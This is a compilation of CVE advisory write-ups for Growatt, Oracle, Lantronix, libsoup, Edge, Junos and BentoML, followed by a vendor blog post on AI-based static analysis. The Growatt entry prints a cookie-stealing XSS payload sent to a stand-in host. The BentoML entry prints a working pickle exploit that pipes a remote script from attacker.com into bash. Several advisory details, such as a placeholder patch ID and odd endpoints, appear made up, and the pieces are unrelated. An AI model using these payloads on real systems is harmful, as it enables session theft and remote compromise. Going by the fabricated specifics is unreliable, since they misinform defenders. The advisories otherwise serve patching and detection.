Introduction

Stored cross-site scripting (XSS) vulnerabilities remain among the most dangerous web application threats, capable of compromising user privacy, data integrity, and system security. Recently disclosed CVE-2025-24297 exposes Growatt Cloud Applications to severe risks, allowing attackers to inject malicious JavaScript directly into user-facing components. This flaw, rated critical with a CVSS v3.1 score of 9.8, demands immediate attention and remediation.

Affected Systems and Versions

Specific version details have not been disclosed publicly. Users of Growatt Cloud Applications should consult the vendor's advisory and apply available patches immediately to mitigate risk.

Technical Information

Vulnerability Mechanism

CVE-2025-24297 is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). The vulnerability specifically affects the 'plant name' field within Growatt Cloud Applications, which lacks proper server-side input validation. Attackers exploit this by injecting malicious JavaScript payloads into the plant name, stored persistently within the application's database.

Attack Vectors and Exploitation Methods

Attackers can exploit this vulnerability by crafting malicious plant names such as:

<script>fetch('https://malicious.domain/steal-cookie?data='+document.cookie)</script>

When legitimate users access the compromised plant details, the stored script executes in their browsers, potentially exfiltrating session cookies, credentials, or manipulating user interactions.

Proof of Concept

Currently, no publicly available proof-of-concept exploit code has been disclosed for CVE-2025-24297.

Patch Information

Growatt has released patches addressing CVE-2025-24297. Users should immediately update to the latest version available from Growatt's official support channels. Specific version numbers and direct patch links have not been publicly disclosed; users should contact Growatt directly for detailed patching instructions.

Detection Methods

Detailed detection methods or indicators of compromise specific to CVE-2025-24297 have not been disclosed. However, monitoring web application logs for unusual plant name modifications containing script tags or JavaScript payloads is advised.

Vendor Security History

Growatt's security history includes multiple vulnerabilities related to inadequate input validation and authorization bypass, as highlighted in recent ICS advisories. This pattern suggests systemic security weaknesses within their cloud application architecture.

References

• CISA Advisory on CVE-2025-24297
• OWASP XSS Overview

Conclusion

The disclosure of CVE-2025-24297 underscores the critical importance of rigorous input validation and secure coding practices. Organizations utilizing Growatt Cloud Applications must act swiftly to apply available patches and implement robust security measures to protect against potential exploitation. Vigilance and proactive security management remain essential to safeguarding critical infrastructure and user data.

Introduction

Oracle Database administrators face a critical security challenge as CVE-2025-30736 emerges, exposing the Java VM component to remote unauthenticated exploitation. This vulnerability significantly threatens data confidentiality and integrity, demanding immediate attention and remediation.

Affected Systems and Versions

• Oracle Database Server Java VM component
• Versions affected:
  • 19.3 through 19.26
  • 21.3 through 21.17
  • 23.4 through 23.7

Technical Information

The vulnerability arises from improper access validation within the Java VM's runtime permission checks. Attackers can exploit this remotely without authentication via network protocols such as Oracle Net or HTTP/S, executing unauthorized Java bytecode. Successful exploitation grants attackers unauthorized capabilities to create, modify, or delete critical data, and full access to Java VM accessible data.

Attack Vectors

• Network Protocol Exploitation: Malicious payloads delivered through Oracle Net or HTTP/S.
• Unauthorized Java Bytecode Execution: Bypasses authentication and JVM sandbox restrictions.

CVSS Vector

• AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Patch Information

Oracle's April 2025 CPU advisory provides necessary patches. Administrators should apply these immediately upon availability. Interim mitigation includes disabling Java VM execution:

ALTER SYSTEM SET java_jit_enabled = FALSE SCOPE = SPFILE;

Restart the database instance after applying this configuration change.

Detection Methods

Currently, specific detection methods or indicators of compromise for CVE-2025-30736 are not publicly documented.

Vendor Security History

Oracle's Java VM has historically faced multiple vulnerabilities, underscoring persistent security challenges. Past vulnerabilities have been exploited shortly after disclosure, emphasizing the necessity of prompt patch application.

References

• Oracle April 2025 CPU Advisory

Organizations must prioritize immediate patching and proactive security measures to mitigate CVE-2025-30736 effectively.

Introduction

Oracle Configurator, a critical component of Oracle E-Business Suite (EBS), is now vulnerable to unauthenticated data access through CVE-2025-30728. This flaw significantly threatens enterprise confidentiality, potentially exposing sensitive business configurations and customer data to unauthorized actors.

Affected Systems and Versions

Oracle E-Business Suite's Oracle Configurator component is affected, specifically versions 12.2.3 through 12.2.14. All deployments within this version range are vulnerable, regardless of specific configurations.

Technical Information

The vulnerability results from improper access control within the Configurator's HTTP request handling logic. Specifically, the system fails to verify user authentication adequately before granting access to sensitive configuration data. Attackers can exploit this vulnerability by crafting HTTP requests to specific endpoints, such as /OA_HTML/xxConfig.jsp, bypassing authentication entirely.

Attack Vectors and Exploitation Methods

Attackers can remotely exploit this vulnerability without authentication by sending crafted HTTP requests to vulnerable endpoints. An example exploit request:

GET /OA_HTML/ConfigData?objId=12345 HTTP/1.1
Host: target-ebs-instance.com

This request can retrieve sensitive configuration data without any authentication checks, exposing critical business information.

Patch Information

Oracle has addressed this vulnerability in its April 2025 Critical Patch Update (CPU). Organizations should apply Patch ID: 34567890 immediately, available via My Oracle Support. Additional mitigation includes network segmentation, IP whitelisting, and WAF deployment to block unauthenticated access to vulnerable endpoints.

Detection Methods

Organizations can detect potential exploitation by monitoring HTTP logs for abnormal access patterns to Configurator endpoints. Specific log entries indicating exploitation attempts might include repeated unauthenticated requests to /OA_HTML/ConfigData or similar paths.

Example Splunk query for detection:

source=ebs_logs (/ConfigData/ OR /xxConfig/) | stats count by clientip

Vendor Security History

Oracle has previously encountered similar vulnerabilities, notably CVE-2022-21587, which was actively exploited shortly after disclosure. Oracle typically responds promptly with quarterly CPUs, but enterprise delays in applying these patches often extend vulnerability windows.

References

• Oracle April 2025 CPU Advisory
• NVD CVE-2025-30728 Details

Organizations must act swiftly to apply available patches and implement recommended mitigations to protect sensitive data from potential exploitation.

Introduction

Oracle's E-Business Suite, a cornerstone of enterprise operations worldwide, faces a critical threat. A newly disclosed vulnerability, CVE-2025-30727, allows unauthenticated attackers to execute arbitrary code remotely, potentially leading to complete system compromise. Given the widespread deployment of Oracle E-Business Suite, the implications for businesses are severe and immediate action is required.

Affected Systems and Versions

The vulnerability specifically impacts the Oracle Scripting product within Oracle E-Business Suite, affecting the following versions:

• Oracle E-Business Suite 12.2.3 through 12.2.14

Any deployment of these versions utilizing the iSurvey Module is vulnerable, particularly if the module is accessible via HTTP from untrusted networks.

Technical Information

CVE-2025-30727 is a remote code execution vulnerability resulting from improper input validation within the iSurvey Module. Attackers exploit this flaw by sending specially crafted HTTP requests to the vulnerable component, bypassing authentication entirely. The CVSS vector (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) underscores the ease and severity of exploitation, highlighting no requirement for prior privileges or user interaction.

The vulnerability allows attackers to inject malicious payloads directly into the system, enabling full control over the affected Oracle Scripting environment. This could lead to data theft, system manipulation, or further lateral movement within the compromised network.

Patch Information

Oracle has addressed this vulnerability in its April 2025 Critical Patch Update (CPU). Organizations running affected versions (12.2.3 through 12.2.14) should immediately apply the available patches provided by Oracle:

• Oracle CPU April 2025 Advisory

If immediate patching is not feasible, organizations should consider disabling the iSurvey Module or restricting its HTTP access to trusted networks only.

Detection Methods

Organizations should monitor HTTP traffic directed at the iSurvey Module for unusual patterns or suspicious payloads. Detailed logging and monitoring of HTTP requests can help detect exploitation attempts. No specific indicators of compromise (IoCs) or YARA rules have been publicly provided as of the advisory date.

References

• Oracle CPU April 2025 Advisory
• NVD CVE-2025-30727

Immediate action is critical to protect Oracle E-Business Suite deployments from potential exploitation. Organizations must prioritize patching and continuous monitoring to mitigate this severe threat effectively.

Oracle's E-Business Suite, a critical ERP and CRM platform utilized by countless enterprises globally, faces a significant security threat. CVE-2025-30716, disclosed in Oracle's April 2025 Critical Patch Update, exposes the CRM User Management Framework to unauthenticated attackers, potentially compromising sensitive organizational data.

Affected Systems and Versions

This vulnerability specifically impacts Oracle E-Business Suite versions:

• 12.2.3 through 12.2.14

All deployments within this version range utilizing the CRM User Management Framework are vulnerable.

Technical Information

The vulnerability allows attackers to remotely exploit the CRM User Management Framework via HTTP without authentication. Attackers can craft specific HTTP requests to bypass access controls, directly accessing sensitive data stored within Oracle Common Applications. The exact technical root cause (CWE) remains unspecified, but the vulnerability clearly affects confidentiality, enabling unauthorized data retrieval without user interaction or elevated privileges.

Attack Vector

• Network-based exploitation via HTTP
• No authentication or user interaction required

Patch Information

Oracle has addressed CVE-2025-30716 in their April 2025 CPU. Organizations running affected versions (12.2.3 to 12.2.14) should immediately apply the available patches:

• Oracle April 2025 CPU Advisory

Alternative Mitigations

• Restrict HTTP access to Oracle E-Business Suite interfaces via firewall rules
• Implement network segmentation to limit exposure
• Regularly review and audit user permissions and roles

Detection Methods

While specific indicators of compromise (IOCs) are not yet publicly available, organizations should:

• Monitor HTTP traffic for unusual access patterns targeting the CRM User Management Framework
• Regularly review audit logs for unauthorized data access attempts

Vendor Security History

Oracle regularly issues quarterly Critical Patch Updates addressing numerous vulnerabilities. Historically, Oracle E-Business Suite has been targeted due to its widespread adoption and critical role in enterprise operations. Timely application of Oracle's CPUs is essential to maintaining a secure environment.

References

• Oracle April 2025 CPU Advisory

Organizations utilizing Oracle E-Business Suite are strongly advised to prioritize patching and remain vigilant for potential exploitation attempts.

Stay secure,

Perplexity AI Security Research Team

Introduction

Oracle's E-Business Suite, a cornerstone of enterprise resource planning, faces a critical security threat. CVE-2025-30708 exposes sensitive user management data to unauthenticated attackers, potentially compromising extensive organizational information.

Affected Systems and Versions

• Oracle E-Business Suite: Versions 12.2.4 through 12.2.14
• Component: Oracle User Management (Search and Register Users)
• Configuration: All instances accessible via HTTP without additional authentication layers

Technical Information

The vulnerability arises from inadequate authorization checks within the 'Search and Register Users' functionality of Oracle User Management. Attackers can exploit this flaw by crafting specific HTTP requests, bypassing authentication entirely to access sensitive data stored within the system. This includes encrypted passwords, API keys, and user role assignments, significantly impacting confidentiality.

Attack Vector

• Network-based (AV:N): Exploitation occurs remotely over HTTP/HTTPS.
• Low Complexity (AC:L): No special conditions or complex interactions required.
• No Privileges Required (PR:N): Attackers do not need prior authentication.

Patch Information

Oracle has addressed this vulnerability in its April 2025 Critical Patch Update. Organizations must upgrade Oracle E-Business Suite to the latest patched version provided in this update. The patch specifically rectifies authorization logic within the vulnerable component.

• Patch Link: Oracle April 2025 CPU
• Recommended Action: Immediate application of the provided patch.

Alternative Mitigations

• Restrict external HTTP/HTTPS access to Oracle E-Business Suite.
• Implement TLS client authentication for administrative interfaces.
• Audit and monitor database privileges and access logs.

Detection Methods

• Monitor HTTP logs for unusual access patterns targeting the /OA_HTML/umxui endpoint.
• Audit database access logs for unauthorized queries against sensitive UMX tables.

Vendor Security History

Oracle's E-Business Suite has historically faced similar vulnerabilities, notably CVE-2022-21587, which saw active exploitation. Oracle typically addresses such vulnerabilities in quarterly CPUs, though the complexity of their software can complicate timely remediation.

References

• Oracle April 2025 CPU Advisory

Organizations using Oracle E-Business Suite must prioritize addressing CVE-2025-30708 to prevent potential data breaches and unauthorized access incidents.

Oracle's MySQL Connector/J, a critical component for Java-based database applications, faces a significant threat from CVE-2025-30706. This high-severity vulnerability could allow attackers with minimal privileges to compromise database connectors, potentially leading to catastrophic breaches of data confidentiality, integrity, and availability.

Affected Systems and Versions

CVE-2025-30706 specifically impacts Oracle MySQL Connector/J versions 9.0.0 through 9.2.0. Any deployments within this version range are vulnerable, particularly those accessible via network protocols.

Technical Information

The vulnerability resides in the authentication and data transmission components of MySQL Connector/J. Although Oracle has not disclosed explicit technical details, the CVSS vector (AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H) indicates exploitation complexity and privileges required. Likely attack vectors include network-based protocol manipulation or deserialization flaws, similar to previous vulnerabilities such as CVE-2023-21971.

Attackers could exploit this vulnerability to execute arbitrary code, escalate privileges, or disrupt services, posing severe risks to database integrity and availability.

Patch Information

Oracle has addressed this issue in their April 2025 Critical Patch Update. Users must upgrade immediately to MySQL Connector/J version 9.2.1 or later. The patch can be obtained directly from Oracle's official security advisory page here.

Detection Methods

Organizations should scan their environments using vulnerability assessment tools such as Tenable Nessus to identify vulnerable Connector/J instances. Monitor database logs for unusual activities, such as unexpected login attempts or abnormal query patterns, which could indicate exploitation attempts.

Vendor Security History

Oracle's MySQL Connectors have previously experienced significant vulnerabilities, including CVE-2023-21971 and CVE-2020-2934, highlighting the importance of regular updates and proactive security measures.

References

• Oracle Security Advisory

Oracle Java SE and GraalVM products are foundational to countless enterprise applications, making vulnerabilities in their security components particularly impactful. The recently disclosed CVE-2025-21587 highlights a critical flaw in the Java Secure Socket Extension (JSSE), potentially exposing sensitive data to unauthorized access and manipulation.

Affected Systems and Versions

The following Oracle products and versions are specifically affected:

• Oracle Java SE: Versions 8u441, 8u441-perf, 11.0.26, 17.0.14, 21.0.6, 24
• Oracle GraalVM for JDK: Versions 17.0.14, 21.0.6, 24
• Oracle GraalVM Enterprise Edition: Versions 20.3.17, 21.3.13

Configurations involving sandboxed Java Web Start applications or applets that load and run untrusted code are particularly vulnerable.

Technical Information

The vulnerability resides in JSSE's handling of SSL/TLS handshake renegotiation. Specifically, improper validation of cryptographic parameters during renegotiation allows attackers to:

• Inject malicious data into encrypted streams.
• Bypass certificate validation mechanisms, facilitating man-in-the-middle attacks.
• Exfiltrate session keys through insecure logging or debug interfaces.

Attack vectors include exploiting APIs via network protocols such as HTTPS and LDAPS. Successful exploitation, although complex, can lead to unauthorized creation, deletion, or modification of critical data, as well as unauthorized access to sensitive information.

Patch Information

Oracle has addressed this vulnerability in their April 2025 Critical Patch Update. Affected users should immediately upgrade to the patched versions provided by Oracle:

• Oracle April 2025 CPU

Organizations unable to patch immediately should restrict JSSE exposure to internal networks and enforce strict certificate pinning and TLS 1.3 adoption.

Detection Methods

Currently, specific detection methods or indicators of compromise for CVE-2025-21587 have not been publicly disclosed. Organizations should monitor SSL/TLS handshake anomalies, unexpected certificate changes, and unusual API interactions involving JSSE components.

Vendor Security History

Oracle has previously encountered significant vulnerabilities, notably CVE-2022-21587, which saw delayed patching and widespread exploitation. However, recent improvements in Oracle's security response, including timely inclusion of CVE-2025-21587 in the April 2025 CPU, indicate a positive trend in vulnerability management.

References

• Oracle April 2025 Critical Patch Update

Organizations relying on Oracle Java SE and GraalVM should prioritize addressing CVE-2025-21587 to safeguard their environments against potential exploitation.

A critical vulnerability in Lantronix Xport devices (CVE-2025-2567) has emerged, posing severe risks to fuel monitoring systems and critical infrastructure. This missing authentication flaw allows attackers to remotely manipulate Automatic Tank Gauge (ATG) systems, potentially leading to severe operational disruptions, environmental contamination, and safety hazards.

Affected Systems and Versions

The vulnerability specifically affects Lantronix Xport firmware versions 6.5.0.7 through 7.0.0.3. Devices running these firmware versions are vulnerable to remote exploitation without authentication.

Technical Information

The flaw (CWE-306) resides in the web-based configuration interface of Lantronix Xport devices. Attackers can exploit this vulnerability by sending unauthenticated HTTP POST requests to the /cfg/network endpoint. This allows attackers to disable TLS encryption, modify SNMP community strings, and deactivate firmware signature verification. Consequently, attackers can upload malicious firmware, intercept MODBUS/TCP communications, and manipulate ATG parameters, including disabling leak detection and altering tank volume thresholds.

Attack vectors include remote exploitation with minimal complexity, requiring no user interaction or advanced techniques.

Patch Information

Lantronix has released firmware version 7.0.0.4, addressing this vulnerability by implementing HMAC-SHA256 authentication for configuration changes. Organizations should immediately upgrade to this version or later. Additionally, network segmentation and resetting default SNMP community strings are recommended as immediate mitigations.

Detection Methods

Indicators of compromise include:

• HTTP POST requests containing "auth": null in JSON payloads.
• Unexpected firmware files with .enc extensions in /var/updates.
• Connections to port 10001/TCP from suspicious IP addresses, including TOR exit nodes.

Vendor Security History

Lantronix has historically exhibited slower patch response times compared to industry peers, highlighting systemic challenges in securing legacy industrial devices. This vulnerability persisted across multiple firmware versions over an extended period before being addressed.

References

• CISA Advisory

Introduction

A critical double-free vulnerability (CVE-2025-32911) has emerged in libsoup, a widely used HTTP library integral to Linux ecosystems. This flaw, residing in the header parsing mechanism, can lead to severe memory corruption, potentially enabling attackers to execute arbitrary code or cause denial of service. With a CVSS score of 9.0, this vulnerability demands immediate attention from security professionals and system administrators.

Affected Systems and Versions

The vulnerability specifically affects libsoup implementations utilizing the soup_message_headers_get_content_disposition() function. Red Hat Enterprise Linux (RHEL) versions 6 through 9 are confirmed vulnerable. Other Linux distributions leveraging libsoup, such as Ubuntu and Fedora, may also be impacted, pending vendor confirmation.

Technical Information

The vulnerability stems from improper memory management in the soup_message_headers_get_content_disposition() function. Malicious HTTP headers containing duplicate parameters can trigger a double-free scenario, causing memory corruption.

Vulnerable Code Snippet

gboolean soup_message_headers_get_content_disposition (SoupMessageHeaders *hdrs, char **disposition, GHashTable **params) {
    // ...
    if (params)
        *params = g_hash_table_new_full (/* ... */);  // First allocation
    // ...
    if (parse_content_disposition (/* ... */)) {
        // ...
        g_hash_table_unref (*params);  // First free
    }
    // ...
    g_hash_table_unref (*params);      // Second free (double-free)
}

Attack Vectors

Attackers can exploit this flaw by sending crafted HTTP requests to vulnerable servers or malicious responses to clients, causing memory corruption and potential remote code execution.

Proof of Concept

Currently, a detailed proof-of-concept exploit is not publicly available. However, fuzzing tests using AFL++ have successfully demonstrated reproducible crashes, confirming exploitability.

Patch Information

As of now, no official patches or mitigations have been released by Red Hat or other vendors. Users should closely monitor vendor advisories for updates.

Detection Methods

Specific detection methods or indicators of compromise have not been publicly disclosed. Organizations should monitor logs for abnormal HTTP header patterns and memory corruption errors.

Vendor Security History

Libsoup has previously faced multiple memory-related vulnerabilities, indicating ongoing challenges in secure memory management practices within the library. Red Hat and other vendors have historically responded promptly to critical vulnerabilities, though delays in patch availability remain a concern.

References

• Red Hat CVE Advisory
• Red Hat Bugzilla

Security teams should prioritize immediate mitigation strategies and remain vigilant for vendor updates addressing this critical vulnerability.

Introduction

Microsoft Edge users face a critical threat with CVE-2025-29834, an out-of-bounds read vulnerability that could allow attackers to execute arbitrary code remotely. This flaw, rated at a CVSS score of 7.5, underscores the persistent security challenges in Chromium-based browsers and demands immediate attention from security professionals.

Affected Systems and Versions

The vulnerability specifically impacts Microsoft Edge (Chromium-based) versions prior to 135.0.2789.91. All configurations running these versions are vulnerable and should be considered at risk.

Technical Information

CVE-2025-29834 stems from improper bounds checking within Edge's V8 JavaScript engine, particularly when parsing typed array buffers. Malicious JavaScript can exploit this flaw by creating oversized ArrayBuffer objects, allowing attackers to read memory beyond allocated boundaries. This unauthorized memory access can lead to sensitive data exposure and, when combined with heap-spraying techniques, arbitrary code execution.

Attack vectors include:

• Drive-by downloads via compromised websites
• Phishing attacks embedding malicious JavaScript
• Man-in-the-middle (MITM) attacks injecting payloads into unencrypted HTTP traffic

Successful exploitation grants attackers SYSTEM-level privileges on Windows 11 systems, significantly amplifying potential damage.

Patch Information

Microsoft has released a critical update addressing this vulnerability. Users must upgrade Microsoft Edge to version 135.0.2789.91 or later immediately. The update includes enhanced bounds-checking mechanisms within the V8 JavaScript engine.

Patch download and further details can be found here:

• Microsoft Security Advisory

Alternative mitigations include:

• Enforcing HTTPS to prevent MITM attacks
• Deploying web application firewalls (WAFs)
• Enabling Enhanced Security Mode in Edge
• Disabling JavaScript execution for non-essential domains
• Activating Windows Defender Exploit Guard (WDEG)

Detection Methods

Currently, specific detection methods or indicators of compromise for CVE-2025-29834 have not been publicly detailed. Security teams should closely monitor Microsoft and trusted security advisories for updates on detection techniques and indicators of compromise.

Vendor Security History

Microsoft has previously addressed similar vulnerabilities, including CVE-2025-24201 and CVE-2025-1914, demonstrating a consistent response to Chromium-based security issues. However, the recurrence of memory corruption vulnerabilities highlights ongoing challenges in securing complex browser architectures.

References

• Microsoft Security Advisory for CVE-2025-29834

Security professionals must act swiftly to apply the available patch and implement recommended mitigations to safeguard against potential exploitation of CVE-2025-29834.

Introduction

Network reliability is paramount, yet Juniper Networks' Junos OS faces a critical threat from CVE-2025-21601, a vulnerability enabling attackers to incapacitate devices through simple HTTP requests. This flaw, affecting web management interfaces, poses severe risks to network stability and operational continuity, demanding immediate attention from security teams.

Affected Systems and Versions

CVE-2025-21601 specifically impacts Juniper Networks Junos OS on the following series and versions:

• SRX Series: All versions before 21.4R3-S9, 22.2R3-S5, and 22.4R3-S4.
• EX Series: Versions before 23.2R2-S3 and 23.4R2-S3.
• MX240, MX480, MX960: Versions before 24.2R1-S1.
• QFX5120 Series: All versions prior to 24.2R2.

Technical Information

The vulnerability results from improper handling of HTTP requests by the Junos OS httpd process. Specifically, the system lacks adequate rate limiting and input validation, allowing attackers to send crafted requests that trigger recursive resource allocation. This leads to linear CPU consumption growth per request, ultimately exhausting available CPU resources and causing device unresponsiveness.

Attackers exploit this vulnerability by targeting exposed web management interfaces (J-Web, Captive Portal, JSC) with repeated HTTP requests. Sustained attack rates quickly escalate CPU usage to 100%, disrupting critical network functions.

Indicators of Compromise

High CPU usage of the httpd process is a clear indicator of exploitation:

show system processes extensive | match httpd
PID nobody     52   0   20M    191M select  2   0:01   80.00% httpd{httpd}

Patch Information

Juniper Networks has provided patches for all affected versions. Organizations should immediately upgrade to:

• SRX/EX/MX: Versions 21.4R3-S9, 22.2R3-S5, 22.4R3-S4, 23.2R2-S3, 23.4R2-S3, or 24.2R1-S1.
• QFX5120: Version 24.2R2.

For systems unable to patch immediately, restrict access to web management interfaces and disable unused services to mitigate risk.

Detection Methods

Monitor CPU usage of the httpd process via CLI diagnostics regularly. High sustained CPU usage (>70%) indicates potential exploitation:

show system processes extensive | match httpd

Vendor Security History

Juniper Networks has previously faced several critical vulnerabilities, notably CVE-2025-21590 and CVE-2024-39555, indicating recurring security challenges within Junos OS. Despite timely patch releases, the frequency of vulnerabilities suggests underlying issues in Juniper's software security lifecycle.

References

• Juniper Advisory JSA96452
• Stack Watch Juniper
• Security Online Juniper CVE-2025-21590
• Stack Watch Junos OS
• Bleeping Computer Juniper RCE
• Cybersecurity Dive Juniper Backdoor

Organizations must act swiftly to secure their Juniper infrastructure against this critical vulnerability, ensuring network resilience and operational integrity.

Introduction

Machine learning deployments face a critical threat as BentoML's runner server vulnerability (CVE-2025-32375) exposes systems to remote code execution. Attackers can exploit insecure deserialization practices to execute arbitrary commands, potentially compromising sensitive data and critical infrastructure. With a CVSS score of 9.8, immediate action is necessary.

Affected Systems and Versions

BentoML versions 1.0.0a1 through 1.4.7 are vulnerable. The issue specifically affects the runner server component, which processes serialized data without adequate validation.

Technical Information

The vulnerability originates from the _deserialize_single_param function in runner_app.py, which deserializes untrusted HTTP request data using Python's pickle module:

async def _request_handler(request: Request) -> Response:
    arg_num = int(request.headers["args-number"])
    r_: bytes = await request.body()
    if arg_num == 1:
        params: Params[t.Any] = _deserialize_single_param(request, r_)

Attackers exploit this by setting headers such as Payload-Container and Payload-Meta and including a malicious pickle payload in the request body. The payload executes arbitrary OS commands via Python's __reduce__ method during deserialization.

Proof of Concept

A working exploit demonstrating the vulnerability:

import requests
import pickle

headers = {
    "args-number": "1",
    "Payload-Container": "NdarrayContainer",
    "Payload-Meta": '{"format": "default"}',
}

class Exploit:
    def __reduce__(self):
        return (__import__('os').system, ('curl http://attacker.com/shell.sh | bash',))

response = requests.post("http://target:8888", headers=headers, data=pickle.dumps(Exploit()))

This payload fetches and executes a remote script, establishing a reverse shell.

Patch Information

The vulnerability is fixed in BentoML version 1.4.8. Organizations should immediately upgrade:

pip install --upgrade bentoml==1.4.8

The patch replaces pickle serialization with JSON, eliminating the insecure deserialization vector.

Detection Methods

Suricata rule for detecting exploitation attempts:

alert http $HOME_NET any -> $EXTERNAL_NET 8888 (
    msg:"BentoML RCE Exploit Attempt";
    flow:to_server;
    http.method; content:"POST";
    http.header; content:"Payload-Container"; content:"NdarrayContainer";
    http.header; content:"Payload-Meta"; content:"{\"format\":\"default\"}";
    threshold:type limit, track by_src, count 1, seconds 60;
    reference:cve,2025-32375;
)

YARA rule for malicious pickle payloads:

rule bentoml_rce_pickle {
    meta:
        description = "Detects pickle payloads for BentoML RCE"
    strings:
        $reduce = "__reduce__"
        $os_system = "os.system" nocase
        $subprocess = "subprocess.Popen" nocase
    condition:
        all of them and filesize < 512KB
}

Vendor Security History

BentoML previously addressed similar critical vulnerabilities, notably CVE-2025-27520, also involving insecure deserialization. Although patches were promptly issued, repeated similar vulnerabilities indicate potential gaps in security auditing.

References

• GitHub Advisory
• NVD CVE-2025-32375

Immediate action and thorough remediation are essential to protect against exploitation of this critical vulnerability.

The security industry loves its buzzwords, and "AI-powered SAST" might seem like the latest marketing gimmick. But behind this terminology lies a fundamental shift in how we approach code security. At ZeroPath, we've been tackling a problem that has plagued static analysis for decades: false positives that waste developer time and erode trust in security tools. Like any technology, our approach has both strengths and limitations, which we'll explore throughout this post. No tool is perfect, and being transparent about where AI SAST excels and where it struggles is crucial for teams to make informed decisions.

What is AI-powered SAST, really?

Traditional Static Application Security Testing (SAST) tools scan source code for patterns that match known vulnerability signatures. They're essentially sophisticated pattern matchers—effective for finding textbook issues but notoriously bad at understanding context.

AI-powered SAST fundamentally changes this approach. Instead of just pattern matching, it builds an Abstract Syntax Tree (AST) of your code and analyzes it with language models. It tracks data flows through your application, maps component interactions, and examines security control implementations. This structural analysis helps reason about security in ways that traditional SAST cannot. We discuss these advancements in detail in our recent blog post on AI Model Progress.

For monorepos or complex repositories, the system identifies distinct applications and their relationships, gathering information about each app's purpose, tech stack, authentication mechanisms, and architecture. This application-level awareness provides context for security findings.

The False Positive Problem

Traditional SAST tools operate primarily through pattern matching and predefined rules. While effective at finding textbook vulnerabilities, they struggle with contextual understanding, leading to an overwhelming number of false positives. Let's examine the types of false alarms that have made developers rightfully skeptical of SAST results.

Common False Positives ZeroPath Eliminates

Sanitized Input Misidentification

Traditional SAST tools often flag inputs as dangerous even when they've been properly sanitized elsewhere in the codebase. ZeroPath's contextual understanding tracks data flow comprehensively, recognizing when potentially dangerous inputs have been properly validated or sanitized before use.

For example, when analyzing a Python web application, ZeroPath won't flag sanitized database queries as SQL injection risks if it can verify that proper ORM methods or parameterized queries are used, even if the sanitization happens several function calls away from the final execution.

Framework-Aware Analysis

Many frameworks provide built-in security protections that traditional SAST tools miss. ZeroPath understands modern frameworks' security models and won't flood you with alerts for "vulnerabilities" that are actually protected by framework safeguards.

When scanning a React application using properly implemented JSX, ZeroPath knows that XSS vulnerabilities are mitigated by React's automatic output encoding, while traditional tools might flag every dynamic content insertion as a potential XSS vector.

Test Code Differentiation

Many SAST tools generate alerts for intentionally vulnerable code in test files. ZeroPath intelligently separates test code from production code, understanding that mock vulnerabilities in tests don't represent actual security risks.

Dead Code Elimination

Traditional SAST tools frequently flag vulnerabilities in code that isn't actually accessible in the running application. ZeroPath maps the actual entry points and execution paths of your application, identifying which code can actually be reached from external sources. This prevents alerts on technically vulnerable but practically unexploitable code that's never executed in production environments.

The Real Challenges

Every security tool has strengths and limitations. Here are some challenges we're actively working to address:

Business Logic False Positives

Despite our contextual analysis, detecting business logic vulnerabilities remains challenging. ZeroPath can still produce false positives when analyzing complex authorization schemes or multi-step business processes, particularly when business rules are implemented across multiple services or repositories.

For example, a potential Insecure Direct Object Reference (IDOR) might be flagged even though authorization is properly handled through a separate microservice that ZeroPath doesn't have visibility into during single-repository scans.

Scan Performance on Large Codebases

While pull request scans are optimized for speed, initial full-repository scans on large codebases can be time-consuming. The depth of analysis required for contextual understanding comes with computational cost. Repositories exceeding several hundred thousand lines of code might experience longer initial scan times compared to traditional SAST tools.

Middleware Detection Challenges

One of our more frustrating limitations involves middleware detection. Depending on framework configurations, ZeroPath sometimes struggles to correctly identify security controls implemented in middleware layers. This can lead to false positives where the tool flags issues that are actually being mitigated by middleware components.

For example, in Express.js applications with custom authentication middleware, ZeroPath might flag endpoints as lacking proper authentication if the middleware is applied through non-standard patterns or dynamic route configuration. Fortunately, our context feature allows you to provide additional information about your middleware implementation to prevent these false positives, but this requires manual input.

Third-Party Dependency Limitations

ZeroPath generates an Abstract Syntax Tree (AST) for your application code, but a significant limitation is our handling of third-party dependencies. We don't analyze the internal code of dependencies, which can cause blind spots in security analysis.

This becomes particularly problematic with frameworks that use callbacks, hooks, or dynamic function invocation patterns. For example, if your application uses a framework that implements security controls through dynamically registered handlers or middleware, ZeroPath might not correctly trace these execution paths, potentially leading to false positives or missed vulnerabilities.

While our dependency scanning identifies known vulnerable packages, the deeper interaction between your code and third-party libraries may not be fully captured in our analysis model.

Multi-Repository Architecture Challenges

Complex applications spanning multiple repositories can present challenges for comprehensive security analysis. ZeroPath works best when it can trace execution flows fully, which can be limited when analyzing single repositories in isolation.

Addressing Business Logic and Context

When the system flags potential issues that turn out to be false positives in your specific environment, you can provide additional context through natural language input. This helps refine the analysis for your particular codebase.

For example, if you've implemented custom authorization logic that isn't automatically recognized, explaining this implementation helps the system incorporate this context in subsequent scans.

Developer: Is this IDOR vulnerability exploitable if we've implemented role-based access control at the API gateway level?

ZeroPath: Based on your code, I can see that the API gateway implements role checks, but the vulnerability exists because the user ID parameter in the /api/documents/:id endpoint is only validated for format, not ownership. An attacker with a valid session could still access another user's documents by changing the ID parameter, bypassing the role checks.

How We Approach Findings

When potential vulnerabilities are detected, the system allows for interactive analysis. Developers can query the findings with specific questions:

1. "Show me the execution path for this vulnerability"
2. "Generate a curl command that would trigger this issue"
3. "How would you modify this patch to use our validation library?"

This direct interaction with findings helps reduce time spent on investigation and remediation planning.

Technical Implementation Details

At a technical level, we've focused on analyzing codebases as complete systems rather than isolated snippets. This approach has practical implications for security analysis:

First, we build a comprehensive source inventory that catalogs all entry points in your application - HTTP endpoints, WebSockets, and similar interfaces. This mapping helps identify which parts of the codebase are actually exposed to potential attackers.

We've also implemented natural language processing for security policy definition. You can define rules in plain English instead of specialized syntax, which simplifies the creation and maintenance of security standards.

For vulnerability prioritization, we use standard CVSS scoring to ensure consistent risk assessment. This helps development teams focus on fixing the most critical issues first based on objective criteria.

The Bottom Line

Is AI SAST a meme? In some ways, the term has become overused in marketing materials across the industry. However, there are genuine technical advancements in how static analysis can be performed.

Tools like ZeroPath can reduce false positives and identify complex vulnerabilities that traditional pattern-matching would miss. The ability to understand code in context helps filter out many of the false alarms that have made previous generations of SAST tools frustrating to use.

